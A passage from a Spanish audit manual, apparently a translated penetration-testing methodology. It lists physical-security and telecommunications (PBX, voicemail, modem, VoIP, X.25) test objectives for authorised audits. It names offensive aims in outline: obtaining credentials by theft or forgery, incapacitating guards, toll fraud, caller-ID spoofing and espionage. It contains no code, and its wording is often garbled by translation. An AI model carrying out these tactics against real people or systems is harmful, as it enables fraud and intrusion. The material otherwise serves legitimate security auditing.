(C) Identificar y examinar los métodos y procesos de cuarentena física dentro del alcance para el comportamiento meramente sospechoso o artículos y sustancias de utilidad sospechosa. 8.14.2 Niveles de contención (A) Verificar el estado del lugar de contención, el tiempo y el proceso del método de cuarentena. Asegúrese de que los métodos estén dentro del contexto y los límites legales según la revisión de la política.

(B) Verificar que se sigan los procedimientos apropiados para un bloqueo completo según los requisitos de política revisada para amenazas ambientales, amenazas biológicas, químicas u otras amenazas de contaminación y en casos de violencia en el lugar de trabajo.

Página 362 de 430

Manual de Auditoria para no Auditores (C) Verificar los procedimientos apropiados para la recuperación de la cuarentena y regresar al estado seguro apropiado después de un estado de bloqueo según los requisitos en la revisión de la política.

8.15 Auditoría de privilegios. Prueba para obtener acceso a las credenciales y privilegios suministrados a otro personal con los permisos adecuados. 8.15.1 Identificación Examinar y documentar el proceso para obtener la identificación a través de medios legítimos, ilegales (por ejemplo, injertos, robo, amenazas, etc.) y fraudulentos (falsificación, falsedad, etc.). 8.15.2 Autorización Verificar el uso de autorización fraudulenta para obtener privilegios similares a los de otro personal. 8.15.3 Escalamiento Verificar y enumerar los accesos a los activos mediante el uso de privilegios para obtener privilegios superiores a los de los porteros. 8.15.4 Circunstancias especiales Verificar los privilegios de acceso obtenidos en los casos en que la edad (específicamente los considerados legalmente como menores para la región), la relación (es decir, el hijo, la hija, el padre, la madre, etc.) el sexo, la raza, la costumbre / cultura y la religión son factores que pueden ser Concedido circunstancias especiales o discriminado de acuerdo con la revisión de la política. 8.15.5 Subyugación Enumerar y probar las deficiencias en el acceso a los activos no controlados por la fuente que proporciona el acceso (es decir, PIN, fotos de identificación, etc., seleccionados por el actor, signos con números de identificación escritos por el actor).

Página 363 de 430

Manual de Auditoria para no Auditores

8.16 Validación de supervivencia. Determinar y medir la resiliencia de las barreras y guardias dentro del ámbito de aplicación a cambios excesivos o hostiles diseñados para causar fallas en las operaciones. 8.16.1 Resiliencia (A) Enumerar y verificar que la distracción, remoción o tranquilizarían al personal de la pasarela no permita el acceso directo a los activos u operaciones. (B) Enumerar y verificar que la inhabilitación o destrucción de medidas o controles de seguridad operacional no permitan el acceso directo a activos u operaciones. (C) Verificar que el aislamiento del alcance de recursos tales como combustible, energía, alimentos, agua, comunicaciones, etc. no permita el acceso directo a activos u operaciones. (D) Verificar que las condiciones de alta amenaza de alerta no cierren o minimicen las medidas operativas de seguridad o los controles que permitan el acceso directo a los activos u operaciones. 8.16.2 Continuidad (A) Enumerar y verificar las condiciones en las que los retrasos de acceso se abordan adecuadamente a través del personal de respaldo o un medio automatizado para el acceso oportuno a los servicios, procesos y operaciones. (B) Enumerar y verificar que la distracción, la remoción o la tranquilizarían del personal de la pasarela no detendrá o negará el acceso oportuno a los servicios, procesos y operaciones. (C) Enumerar y verificar que la desactivación o destrucción de las medidas o controles de seguridad operacional no negarán el acceso oportuno a los servicios, procesos y operaciones. (D) Verificar que el aislamiento del alcance de recursos tales como combustible, energía eléctrica, alimentos, agua, comunicaciones,

Página 364 de 430

Manual de Auditoria para no Auditores etc. no detendrá ni negará el acceso a servicios, procesos y operaciones. (E) Verificar que la incapacidad de eliminar los desechos, contaminantes u otros contaminantes del alcance no detenga o niegue el acceso a los servicios, procesos y operaciones. (F) Verificar que las condiciones de alta amenaza de alerta no detienen ni niegan el acceso a servicios, procesos y operaciones. 8.17 Revisión de alertas y registros. Un análisis de la brecha entre las actividades realizadas con la prueba y la verdadera profundidad de esas actividades registradas o de percepciones de terceros, tanto humanas como mecánicas. 8.17.1 Alarma Verificar y enumerar el uso de un sistema de alerta, registro o mensaje de localización o ámbito de alcance para cada pasarela de acceso donde la personal sospecha que hay sospechas de intentos de evasión, actividad fraudulenta, intrusión o incumplimiento. Asegúrese de que los sensores / sistemas estén instalados según las normas nacionales, regionales o internacionales y que se prueben periódicamente para cubrir todos los puntos accesibles.

8.17.2 Almacenamiento y recuperación Documentar y verificar los permisos y el acceso eficiente a las ubicaciones de almacenamiento de alarmas, registros y notificaciones y propiedades. El acceso a las áreas donde se procesa o almacena la información sensible debe ser controlado y restringido. El capítulo 9 esta íntegramente dedicado a la seguridad en redes inalámbricas y sigue las mismas pautas, que hemos visto en los capítulos anteriores, por lo que lo hemos excluido, por entender que no aporta valor alguno ya que no hay nuevos elementos diferenciales. Capítulo 10 COMSEC Que es una clasificación para la seguridad material dentro del ámbito ELSEC que se encuentra dentro de los límites de las telecomunicaciones sobre cables. Este canal cubre la interacción del analista con los objetivos. Página 365 de 430

Manual de Auditoria para no Auditores Como "phreaking", el verdadero objetivo de cumplimiento de las pruebas de seguridad en este canal es la prueba de barrera lógica y la medición de la brecha contra el estándar de seguridad requerido como se describe en la política de la compañía, las regulaciones de la industria o la legislación regional. Se requerirá que el Analista tenga múltiples herramientas y métodos para completar algunas tareas para asegurar que la sospecha no se plantee entre el personal por el timbre continuo y secuencial de los teléfonos y que las pruebas no se hacen inválidas debido a un descubrimiento temprano o una paranoia aumentada. Los analistas también tendrán que estar preparados para trabajar con equipos de telecomunicaciones digitales y analógicos, frecuencia de sonido analizadores y dentro de las redes de información que proporcionan contenido regional a través de proveedores de telefonía local. Analistas competentes requerirá un fondo de electrónica tanto en telefonía analógica y digital y habilidades de pensamiento crítico para asegurar la recopilación de datos fácticos crea resultados fácticos a través de correlación y análisis. Consideraciones: Tenga en cuenta las siguientes consideraciones para asegurar una prueba segura y de alta calidad: 1. Los analistas que no hacen una revisión de la postura adecuada para el alcance, así como las regiones de destino para las empresas o las interacciones no pueden escapar de castigo por violar las leyes simplemente porque no eran conscientes de la ley, Es decir, las personas han presupuesto tener conocimiento de la ley. Los analistas son considerados profesionales en este tema y, por lo tanto, la suposición existe que incluso lo que no puede ser de conocimiento común para una persona normal acerca de las leyes de una región extranjera con respecto a los sistemas informáticos, serán conocidos por los profesionales como que son conscientes de las leyes necesarias para sus compromisos. 2. Derechos de propiedad: Las pruebas deben dirigirse específicamente sólo a los sistemas que están bajo la propiedad legal directa del propietario del ámbito de aplicación o de los sistemas informáticos en la propiedad del propietario del ámbito de aplicación. Tales bienes o efectos personales deben permanecer personales y privados a menos que involucre específicamente al dueño del ámbito por desacato, luz falsa, competitividad o razones establecidas en contratos de contrato de personal. Los analistas deben hacer esfuerzos para no invadir la vida privada de una persona donde esa vida privada ha hecho esfuerzos para separarse del alcance . Los analistas con un acuerdo especial para los sistemas de prueba que están bajo contrato directo, pero no son propiedad, o son propiedad, pero no están alojados en la propiedad legal del propietario, deben tomar muchas precauciones para asegurar que las pruebas tengan un impacto mínimo en otros sistemas fuera del alcance o contrato.

Página 366 de 430

Manual de Auditoria para no Auditores 10.1 Revisión de la política. Los estudios iniciales de la política incluyen las leyes, la ética, las políticas, las regulaciones de la industria y la cultura política que influyen en los requisitos de seguridad y privacidad para el alcance. En la mayoría de los casos, un objetivo también puede tener contratos con proveedores y otros terceros que pueden necesitar ser revisados y documentados. Esta revisión constituye una matriz contra la cual las pruebas deben ser mapeadas, pero no restringidas, debido a la ubicuidad de los puntos finales del canal. Por lo tanto, es importante considerar, como requiere alguna legislación, el mercado objetivo o los usuarios finales de este canal, que también debe agregarse al ámbito de este módulo . 10.1.1 Política (A) Revisar y documentar la política organizacional apropiada con respecto a los requisitos de seguridad, integridad y privacidad del alcance. Verificar las limitaciones de las telecomunicaciones impuestas por la política de seguridad. (B) Revisar y documentar contratos y Acuerdos de Nivel de Servicio (SLA) con proveedores de servicios y otros terceros involucrados. 10.1.2 Legislación Revisar y documentar la legislación nacional y regional pertinente con respecto a los requisitos de seguridad y privacidad de la organización en el ámbito de aplicación, así como a los clientes, socios, sucursales organizacionales o revendedores adecuados fuera del ámbito de aplicación. Cuando corresponda, preste especial atención a la privacidad y retención de datos de los registros detallados de llamadas, leyes y normas que rigen la interceptación o monitoreo de telecomunicaciones y la provisión de servicios críticos como el E-911 / UR112. 10.1.3 Cultura Revisar y documentar la cultura organizacional apropiada en el ámbito de la concientización sobre la seguridad y la privacidad, la capacitación del personal necesario y disponible, la jerarquía organizacional, el uso de la mesa de ayuda y los requisitos para reportar problemas de seguridad. 10.1.4 Edad Revise y documente la antigüedad de los sistemas, software y aplicaciones de servicio requeridos para las operaciones. 10.1.5 Artefactos frágiles Revise y documente cualquier sistema, software y aplicaciones de servicio que requieran atención especial debido al alto uso, las inestabilidades o una alta tasa de cambio. 10.1.6 Vectores de ataque (A) Pruebas de PBX (B) Prueba del buzón de voz Página 367 de 430

Manual de Auditoria para no Auditores (C) Encuesta, sondeo y pruebas de FAX y módem (D) Prueba de Servicios de Acceso Remoto (RAS) E) Pruebas de líneas RDSI de respaldo (F) Pruebas de voz sobre IP (G) Prueba de red conmutada por paquetes X.25 10.2 Logística Preparación del entorno de prueba de canales necesario para prevenir falsos positivos y falsos negativos que conducen a resultados de pruebas inexactos. 10.2.1 Marco (A) Verificar el alcance y el (los) propietario (s) de los objetivos señalados para la auditoría, junto con el (los) transportista (s) y otros terceros que gestionan las líneas de telecomunicaciones y la infraestructura para los objetivos. (B) Determinar la ubicación de la propiedad y el propietario de la propiedad que contiene los objetivos. (C) Buscar otros objetivos del mismo propietario. (D) Buscar y verificar las rutas de los servicios de telecomunicaciones que interactúan fuera de la meta para los caminos que siguen dentro y fuera del alcance. E) Determinar la ubicación física de los objetivos. (F) Comprobar qué protocolos se utilizan dentro del ámbito de aplicación (ejemplo: PSTN, RDSI, GSM, UMTS, SIP, H.323, RTP, XOT, DECNET, IPX, etc.). (G) Verificar y documentar las limitaciones especiales impuestas por el contrato con el cliente. 10.2.2 Calidad de la red (A) Mida las velocidades máxima y mínima de conexión soportadas por los objetivos. (B) Determinar y verificar la velocidad de conexión apropiada, la paridad, el tiempo de RING y otros Parámetros de configuración que se utilizarán para escanear y probar. (C) Verificar y documentar las limitaciones particulares impuestas por el ámbito (ejemplo: red X.25 Congestión, rutas estrictas XOT, filtros de acceso basados en CLID). Página 368 de 430

Manual de Auditoria para no Auditores

10.2.3 Tiempo y Costos Adicionales (A) Pruebe el tiempo de funcionamiento del equipo (ejemplo: redireccionamiento de llamadas al contestador automático fuera del horario comercial normal). (B) Determine y documente los ajustes de hora (zona horaria, DST, etc.) para los objetivos. (C) Asegúrese de que el reloj del analista esté sincronizado con el tiempo de los objetivos. Ciertos equipos como artefactos frágiles pueden tener configuraciones de tiempo que no representan un tiempo válido; Si el reloj de tiempo del analista se pone en sincronía con estos puede tener un impacto en el resultado de la prueba. D) Determinar los costos financieros adicionales involucrados en la realización de pruebas exhaustivas desde una ubicación remota (ejemplo: escaneo de módems / FAX, prueba de servicios de acceso remoto no en números gratuitos, llamadas X.25 sin carga inversa).

10.3 Verificación de detección activa. La determinación de los controles activos para detectar la intrusión y para filtrar o negar los intentos de prueba debe hacerse antes de la prueba para mitigar el riesgo de dañar los datos del resultado de la prueba, así como cambiar el estado de alarma del personal o agentes de monitoreo. Puede ser necesario coordinar estas pruebas con el personal apropiado dentro del alcance. 10.3.1 Supervisión A) Comprobar si las telecomunicaciones son supervisadas por una parte autorizada para retransmitir datos incorrectos de la red, inyecciones de código, contenido malicioso y conducta impropia, y registrar las respuestas y el tiempo de respuesta. (B) Comprobar si existen controles para monitorear actividades fraudulentas o manipulación de servicios, y registrar las respuestas y el tiempo de respuesta, como en la reconciliación periódica de facturación usando los registros de detalle de llamadas (CDR).

Página 369 de 430

Manual de Auditoria para no Auditores 10.3.2 Filtrado. (A) Compruebe si existen controles de nivel de red para bloquear actividades no autorizadas y registrar respuestas y tiempo de respuesta, como filtros de acceso basados en la Identificación de Línea de Llamada (CLID), la Dirección de Usuario de Red (NUA) o el Grupo de Usuarios Cerrados (CUG). (B) Comprobar si hay controles de nivel de aplicación para bloquear actividades no autorizadas y registrar respuestas y tiempo de respuesta. 10.3.3 Detección activa. (A) Verificar las respuestas activas a las sondas de los sistemas y servicios. (B) Verificar si la protección contra ataques de fuerza bruta como el bloqueo de cuentas está en su lugar. (C) Asignar cualquier aplicación, sistema o segmento de red dentro del ámbito que produzca registros, alarmas o notificaciones. 10.4 Auditoría de Visibilidad. Enumeración e indexación de los objetivos en el ámbito mediante interacción directa e indirecta con o entre sistemas vivos. 10.4.1 Análisis de red (A) Compilar un mapa de protocolos de comunicación en uso dentro del alcance. B) Esbozar la topología de las redes de telecomunicaciones dentro del ámbito de aplicación. 10.4.2 Enumeración (A) Pruebas de PBX: enumerar los sistemas de telefonía dentro del alcance. (B) Prueba de buzón de voz: busque buzones de voz dentro del alcance. (C) Prueba de FAX: enumera los sistemas FAX dentro del alcance. (D) Encuesta de módem: encuentre todos los sistemas con módems de escucha e interactivos dentro del alcance. (E) Prueba de servicios de acceso remoto: enumerar los sistemas RAS dentro del ámbito de aplicación.

Página 370 de 430

Manual de Auditoria para no Auditores (F) Pruebas de líneas RDSI de respaldo: enumere los dispositivos de red con líneas RDSI de respaldo dentro del ámbito. (G) Pruebas de voz sobre IP: enumerar los sistemas VoIP dentro del ámbito de aplicación. (H) Pruebas en red con conmutación de paquetes X.25: busque sistemas en vivo y accesibles dentro del alcance, registrando sus códigos de respuesta. 10.4.3 Identificación. (A) Identificar los tipos de OS y las versiones en uso en los sistemas dentro del alcance. (B) Identificar tipos de servicio y versiones en uso en sistemas dentro del alcance. (C) Identificar los tipos de módem y FAX y los programas operativos.

10.5 Verificación de acceso Pruebas para la medición de la amplitud y profundidad de los puntos de acceso interactivo que están dentro del alcance Y la autenticación requerida. 10.5.1 Proceso de Acceso (A) Pruebas PBX: busque sistemas PBX que permitan la administración remota o el acceso mundial al Terminal de mantenimiento, ya sea a través de la marcación telefónica o de la red IP. (B) Prueba de buzón de voz: busque buzones de voz accesibles a nivel mundial. (C) Pruebas de FAX: busque sistemas FAX que permitan la administración remota o el acceso mundial al Terminal de mantenimiento. (D) Encuesta de módem: prueba y documenta los protocolos de autenticación en uso (ejemplo: terminal, PAP, CHAP, otros). (E) Prueba de servicios de acceso remoto: prueba y documenta los protocolos de autenticación en uso (Ejemplo: terminal, PAP, CHAP, otros).

Página 371 de 430

Manual de Auditoria para no Auditores (F) Pruebas de respaldo de líneas RDSI: prueba y documenta los protocolos de autenticación en uso (ejemplo: Terminal, PAP, CHAP, otros). (G) Pruebas de voz sobre IP: verificar la posibilidad de realizar fraude de peaje, llamar a la escucha o el rastreo, el secuestro de llamadas, la suplantación de CLID y la denegación de servicio, mediante ataques dirigidos redes convergentes, elementos de red VoIP, protocolos de señalización y transporte de medios. (H) Prueba de red conmutada por paquetes X.25: busque sistemas que permitan la administración remota, Acceso a otros servicios a través de CUDs específicos, o carga inversa, verifique cuántos Virtual Canales (CV) y canales virtuales permanentes (PVC) están en uso y cómo se (CUG, mapeo de subdirecciones, selección de llamadas entrantes X.25, filtrado basado en NUA, etc.)

10.5.2 Servicios. (A) Solicitar servicios remotos comunes conocidos. (B) Identificar los componentes de los servicios y sus versiones. (C) Verificar el tiempo de actividad del servicio a las últimas vulnerabilidades y revisiones de parches. (D) Para cada servicio identificado, prueba remota y errores de configuración del documento. (E) Para cada aplicación identificada, prueba remota y errores de programación de documentos. 10.5.3 Autenticación (A) Enumerar los recursos de telecomunicaciones que requieren autenticación y verificar todas las formas aceptables de privilegios para interactuar o recibir acceso. (B) Documente los esquemas de autenticación en uso, verifique el proceso de recepción de la autenticación y pruebe los errores lógicos. (C) Verificar los métodos de autorización y la identificación requerida. (D) Asegurar que las cuentas administrativas no tengan credenciales predeterminadas o fáciles de adivinar. (E) Asegúrese de que las cuentas de usuario no tengan credenciales predeterminadas o fáciles de adivinar. (F) Verificar y probar protecciones contra ataques de fuerza bruta y de tipo de diccionario. Página 372 de 430

Manual de Auditoria para no Auditores (G) Compruebe y compruebe las comprobaciones de complejidad de contraseñas y el tamaño del PIN del buzón de voz, el envejecimiento de la contraseña y la frecuencia de los controles de cambio. (H) Pruebe credenciales "conocidas" en todos los puntos de acceso enumerados, para verificar los controles de reutilización de contraseñas. (I) Verificar el formato utilizado para el almacenamiento de las credenciales de autenticación y las contraseñas de texto claro o ofuscadas del documento y los algoritmos de cifrado débiles. (J) Compruebe el formato utilizado para la transmisión de credenciales de autenticación a través de la red y el documento de texto claro u ofuscada contraseñas y débiles algoritmos de cifrado. (K) Compruebe que la información de autenticación que se utilizo fue correcta y se realizó correctamente el proceso de autenticación o se produjo un error en ese caso debe quedar registrado. 10.6 Verificación de Confianza Prueba de confianza entre sistemas dentro del ámbito, donde la confianza se refiere al acceso a información por medio de credenciales de autenticación. 10.6.1 Suplantación (A) Comprobar y documentar los métodos de acceso en uso que no requieren la presentación de Credenciales de autenticación. (B) Comprobar y documentar la profundidad de los requisitos de interacción y acceso a la propiedad dentro del alcance por medio de spoofing una fuente de confianza (ejemplo: CLID y X.25 NUA spoofing).

10.6.2 Abuso de recursos (A) Pruebe y documente la profundidad de los requisitos para llevar la propiedad fuera del alcance a una fuente conocida y confiable o en todo el ámbito sin las credenciales necesarias establecidas. (B) Pruebe y documente la propiedad disponible fuera del alcance debido a fugas de información.

Página 373 de 430

Manual de Auditoria para no Auditores 10.7 Verificación de controles Pruebas para enumerar y verificar la funcionalidad operacional de las medidas de seguridad para los activos y servicios, definidas por medio de controles de pérdidas basados en procesos (Clase B). El control de alarma se verifica al final de la metodología. 10.7.1 No repudio (A) Enumerar y probar el uso o las deficiencias de las aplicaciones y sistemas para identificar y registrar adecuadamente el acceso o las interacciones a la propiedad para evidencia específica para desafiar el repudio. (B) Documentar la profundidad de la interacción registrada y el proceso de identificación. (C) Verificar que todos los métodos de interacción estén debidamente registrados con una identificación apropiada. D) Identificar los métodos de identificación que impidan el rechazo. 10.7.2 Confidencialidad (A) Enumerar todas las interacciones con los servicios dentro del alcance de las comunicaciones o activos transferidos a través del canal usando líneas seguras, cifrado, interacciones "silenciadas" o "cerradas" para proteger la confidencialidad de la propiedad de información entre las partes involucradas. (B)

Verificar

los

métodos

aceptables

utilizados

para

la

confidencialidad. (C) Comprobar la fuerza y el diseño de los métodos de cifrado u ofuscación. D) Verificar los límites exteriores de comunicación que pueden protegerse mediante el método de confidencialidad aplicado. 10.7.3 Privacidad Enumerar todas las interacciones con servicios dentro del alcance de las comunicaciones o activos transportados a través del canal usando líneas seguras, encriptación, interacciones "silenciadas" o "cerradas" para proteger la privacidad de la interacción y el proceso de proporcionar activos sólo a aquellos dentro de la seguridad apropiada Autorización para ese proceso, comunicación o activo. Página 374 de 430

Manual de Auditoria para no Auditores 10.7.4 Integridad Enumerar y probar las insuficiencias de integridad cuando se utiliza un proceso documentado, firmas, cifrado, hash o marcas para asegurar que el activo no puede ser cambiado, cambiado, redirigido o invertido sin que sea conocido por las partes involucradas. 10.8 Verificación del proceso Pruebas para examinar el mantenimiento de la seguridad funcional y la eficacia en los procesos establecidos y la debida diligencia como se define en la política revisada. 10.8.1 Línea de base. Examinar y documentar los servicios de línea de base para asegurar que los procesos estén en línea con la política de seguridad. 10.8.2 Mantenimiento. Examinar y documentar la oportunidad, la idoneidad, el acceso y el alcance de los procesos para la notificación y la conciencia de seguridad del personal con respecto a la seguridad operacional, la seguridad real y los controles de pérdidas. 10.8.3 Desinformación. Determinar hasta qué punto las notificaciones de seguridad del personal y las noticias de seguridad pueden ser ampliadas o alteradas con información errónea. 10.8.4 Auditoria Legal para adquisiciones o fusiones. Mapee y verifique las lagunas entre la práctica y los requisitos según lo determinado en la política revisada a través de todos los canales. 10.8.5 Indemnización. (A) Documentar y enumerar los objetivos y servicios que están protegidos contra Eludir la política del empleado, están asegurados por robo o daños, o usan responsabilidad y permiso de responsabilidad. (B) Verificar la legalidad e idoneidad del lenguaje en las renuncias. (C) Verificar el efecto de las renuncias en las medidas de seguridad o seguridad. (D) Examinar el lenguaje de la póliza de seguro para las limitaciones en los tipos de daños o activos. (E) Comparar la política de acceso cultural con la política de indemnización para evidenciar las debilidades.

Página 375 de 430

Manual de Auditoria para no Auditores 10.9 Verificación de la configuración. Pruebas para recopilar toda la información, técnica y no técnica, sobre cómo se pretende que funcionen los activos, y para examinar la capacidad de eludir o interrumpir la seguridad funcional de los activos, explotando la configuración incorrecta de los controles de acceso, los controles de pérdidas y las aplicaciones. 10.9.1 Controles de configuración. (A) Examinar los controles, incluyendo la configuración de línea de base, para validar las configuraciones apropiadas de equipos, sistemas y aplicaciones dentro del alcance. (B) Examinar los controles para asegurar que las configuraciones del equipo, los sistemas y las aplicaciones coincidan con la intención de la organización y reflejen una justificación del negocio. (C) Examinar las listas de control de acceso (ACL) configuradas en redes, sistemas, servicios y aplicaciones dentro del alcance, para asegurar que coincidan con la intención de la organización y reflejar una justificación del negocio. 10.9.2 Errores comunes de configuración (A) Pruebas de PBX: compruebe si hay servicios / características innecesarios, inseguros o no utilizados y credenciales por defecto, verifique el nivel de parche de los sistemas PBX para identificar las vulnerabilidades conocidas. (B) Prueba de buzón de voz: compruebe si hay servicios o funciones innecesarias, inseguras o no utilizadas y Credenciales por defecto, verifique el nivel de los sistemas de buzones de voz para identificar vulnerabilidades. (C) Prueba de FAX: compruebe si hay servicios / funciones innecesarios, inseguros o no utilizados y credenciales predeterminadas, verifique el nivel de los sistemas FAX para identificar las vulnerabilidades conocidas. (D) Encuesta por módem: compruebe si hay módems contestadores innecesarios o no utilizados dentro del alcance. (E) Prueba de servicios de acceso remoto: compruebe si hay servicios o funciones innecesarias, inseguras o no utilizadas Página 376 de 430

Manual de Auditoria para no Auditores Y las credenciales predeterminadas, verifique el nivel de revisión de los servidores RAS para identificar las vulnerabilidades conocidas. (F) Prueba de líneas de respaldo de la RDSI: compruebe si hay servicios innecesarios, inseguros o no utilizados y credenciales predeterminadas, verifique el nivel de los equipos de red para identificar las vulnerabilidades conocidas. G) Pruebas de voz sobre IP: compruebe si hay servicios / protocolos innecesarios, inseguros o no utilizados y credenciales predeterminadas en todos los sistemas dentro de la infraestructura VoIP y verifique su nivel de parche para identificar las vulnerabilidades conocidas. (H) En las pruebas de red con conmutación por paquetes X.25, compruebe si hay servicios innecesarios, inseguros o no utilizados y las credenciales predeterminadas en todos los sistemas X.25 y compruebe su nivel de parche para identificar vulnerabilidades conocidas. 10.9.3 Auditoría de código fuente. Examine el código fuente disponible de las aplicaciones cuando estén disponibles para validar las operaciones de equilibrio de los controles. 10.10 Validación de la propiedad Pruebas para examinar la información y la propiedad física disponibles dentro del alcance o proporcionados por el personal que pueden ser ilegales o poco éticos. 10.10.1 Compartir. Compruebe hasta qué punto el personal comparte personal, licencia, propiedad privada, simulada, reproducida, no libre o no abierta entre el personal, ya sea intencionalmente a través de procesos y programas compartidos, bibliotecas y cachés personales, o involuntariamente a través de una mala administración de licencias y recursos. negligencia. 10.10.2 Mercado negro. Verificar en qué medida se promueve, se comercializa o se vende entre personal o por la organización bienes privados, falsificados, reproducidos, no libres o no abiertos. 10.10.3 Canales de venta. Verificar los negocios públicos, fuera del alcance, las subastas o las ventas de propiedades que proporcionan información de contacto a través de canales que se originan dentro del ámbito.

Página 377 de 430

Manual de Auditoria para no Auditores

10.10.4 Módulos de Rogue. Realice un inventario completo de todos los módems dentro del ámbito. Compruebe que la organización ha adoptado una directiva de seguridad adecuada que se ocupa del uso y la provisión de módems. 10.11 Revisión de Segregación. Prueba para separar apropiadamente la información privada o personal de la información comercial. Al igual que una revisión de la privacidad, es el punto focal del almacenamiento, transmisión y control legal y ético de la información privada del personal, socios y clientes. 10.11.1 Mapeo de contención de privacidad. Los gatekeepers de mapas de información privada dentro del alcance, qué información se almacena, cómo y dónde se almacena la información, y sobre qué canales se comunica la información. 10.11.2 Divulgación. Examinar y documentar los tipos de revelaciones de información privada en los servicios de comunicación de los porteros responsables de esta segregación de acuerdo con la política y las regulaciones según lo determinado en la revisión de la política y el derecho humano básico.

10.11.3 Limitaciones. Examinar y documentar tipos de pasarelas y alternativas de canal con pasarelas accesibles a personas con limitaciones físicas dentro de ese canal, como en el servicio. 10.12 Verificación de la exposición Pruebas para descubrir la información pública que describe la visibilidad indirecta de los objetivos dentro del alcance o proporciona o conduce al acceso autenticado. 10.12.1Mapa de exposición. (A) Identificar información personal y de negocios, tales como números de teléfono personales y de trabajo, números de teléfono móvil, números telefónicos gratuitos, números de FAX, propietarios de las líneas de telecomunicaciones, transportistas y afiliaciones organizativas, utilizando todos los medios disponibles, Listas telefónicas, información de directorio en línea y bases de datos de suscriptores de telecomunicaciones. (B) Identificar otras líneas de telecomunicaciones como X.25, utilizando tanto sitios web de la compañía como motores de búsqueda. (C) Identificar información personal y de negocios, como organigramas, títulos de personal clave, descripciones de puestos de trabajo, direcciones de correo electrónico privadas y públicas, registros (ejemplo: fugas de información de correo PS X.25) Métodos de respaldo, aseguradores, o

Página 378 de 430

Manual de Auditoria para no Auditores cualquier información organizacional específica declarada implícitamente como confidencial en regulaciones y políticas. 10.12.2 Proyección Perfil y verificar la organización, sus redes públicas de telecomunicaciones, empleados, tecnologías y dirección de negocios. 10.13 Inteligencia Competitiva Prueba de propiedad de barrido que se puede analizar como inteligencia de negocios. Mientras que la inteligencia competitiva como un campo está relacionada con la comercialización, el proceso aquí incluye cualquier forma de reunión de inteligencia competitiva, incluyendo, pero no limitado a espionaje económico e industrial. 10.13.1 Rectificado de empresas (A) Los guardianes de mapas de la propiedad del negocio dentro del alcance, qué información se almacena, cómo y dónde se almacena la información, y sobre qué canales se comunica la información. (B) Medir el costo de la infraestructura de telecomunicaciones basada en el equipo (ejemplo: Teléfonos, PBX, módems, FAX, etc.). C) Medir el costo de la infraestructura de apoyo, sobre la base de los costos de transporte y mantenimiento, Incluido el personal técnico. (D) Verificar qué tipo de negocio se administra a través de la infraestructura de telecomunicaciones (ejemplo: centro de llamadas, atención al cliente, servicio de asistencia, etc.). (E) Verifique la cantidad de tráfico en un intervalo de tiempo definido. 10.13.2 Entorno empresarial (A) Explorar y documentar detalles empresariales tales como alianzas, socios, principales clientes, vendedores, distribuidores, inversionistas, relaciones comerciales, producción, desarrollo, información de productos, planificación, acciones y comercio, y cualquier información comercial o propiedad particular declarada implícitamente como confidencial En regulaciones y políticas. (B) Identificar las líneas de telecomunicaciones que forman parte del negocio de los socios.

Página 379 de 430

Manual de Auditoria para no Auditores 10.13.3 Organización Organizacional Procesos, jerarquía, informes financieros, oportunidades de inversión, fusiones, adquisiciones, inversiones en canales, mantenimiento de canales, políticas sociales internas, insatisfacción del personal y tasa de cambio de turno, tiempos de vacaciones primarias, Contrataciones, despidos, y cualquier propiedad organizacional particular declarada implícitamente como confidencial en las regulaciones y políticas. 10.14 Verificación de cuarentena. Pruebas para verificar el correcto emplazamiento y contención de contactos agresivos u hostiles en los puntos de acceso. 10.14.1 Identificación del proceso de contención. Identificar y examinar los métodos y procesos de cuarentena en el objetivo en todos los canales para contactos molestos, agresivos u hostiles, tales como teleoperadores, cazadores de cabezas y acosadores. 10.14.2 Niveles de Contención. Verifique el estado de contención, la duración del tiempo y todos los canales en los que las interacciones tienen métodos de cuarentena. Asegúrese de que los métodos estén dentro del contexto legal y los límites. 10.15 Auditoría de privilegios. Prueba donde se proporcionan las credenciales al usuario y se concede el permiso para probar con esas credenciales. 10.15.1 Identificación Examinar y documentar el proceso para obtener la identificación a través de medios legítimos y fraudulentos en todos los canales. 10.15.2 Autorización (A) Verificar el uso de autorización fraudulenta en todos los canales para obtener privilegios similares a los de otro personal. (B) Probar y documentar rutas posibles para evitar las listas de control de acceso (ACL) configuradas para redes, sistemas, servicios y aplicaciones dentro del ámbito. 10.15.3 Escalamiento Verificar y asignar el acceso a la información mediante el uso de privilegios para obtener privilegios más altos. 10.15.4 Subyugación Enumerar y probar las insuficiencias de todos los canales para usar o habilitar los controles de pérdida no habilitados de forma predeterminada. Página 380 de 430

Manual de Auditoria para no Auditores 10.16 Validación de supervivencia Determinar y medir la resiliencia del objetivo dentro del alcance a cambios excesivos o hostiles diseñados para causar un fallo del servicio. 10.16.1Continuidad (A) Enumerar y probar las insuficiencias de la meta con respecto a los retrasos de acceso y el tiempo de respuesta del servicio a través de personal de respaldo o medios automatizados para acceso alternativo. (B) Enumerar y probar las deficiencias de la meta con respecto a las cuestiones de calidad de servicio y los requisitos de desempeño de las tecnologías de telecomunicaciones. 10.16.2 Resilencia Mapear y documentar el proceso de desvinculación de los canales debido a incumplimiento o preocupaciones de seguridad como un análisis de la brecha con la regulación y la política de seguridad.

10.17 Revisión de alertas y registros. Un análisis de la brecha entre las actividades realizadas con la prueba y la verdadera profundidad de esas actividades registradas o de percepciones de terceros, tanto humanas como mecánicas. 10.17.1 Alarma. (A) Compruebe y enumere el uso de un sistema de alerta, registro o mensaje de localización o ámbito de alcance para cada pasarela de acceso sobre cada canal en el que una situación sospechosa se eleve por sospecha de intentos de intrusión o actividad fraudulenta y determina los niveles de recorte. (B) Revisar los registros de los avisos de llamadas entrantes y salientes para detectar signos de abuso o fraude. C) Sistemas de gestión de registros de ensayos y documentos. 10.17.2 Almacenamiento y recuperación. (A) Documentar y verificar el acceso no privilegiado a las ubicaciones de almacenamiento de alarma, registro y notificación y propiedades. (B) Prueba y documenta la política de copias de seguridad de registros y el registro en varias ubicaciones, para asegurar que los rastros de auditoría no puedan ser manipulados. Página 381 de 430

Manual de Auditoria para no Auditores C) Sistemas de gestión de registros de ensayos y documentos. LAS 3 REGLAS DE LAS HERRAMIENTAS DE SEGURIDAD DE DATOS SON: 1. 2. 3.

LAS HERRAMIENTAS NO SABEN CUÁNDO MIENTEN. LAS HERRAMIENTAS SON TAN INTELIGENTES COMO SUS DISEÑADORES. LAS HERRAMIENTAS SÓLO PUEDEN FUNCIONAR CORRECTAMENTE DENTRO LÍMITES DEL PARA EL QUE FUERON DISEÑADAS.

LOS

